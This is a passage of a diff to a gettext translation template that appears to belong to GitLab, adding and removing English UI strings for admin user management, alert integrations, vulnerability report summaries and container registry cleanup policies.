-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
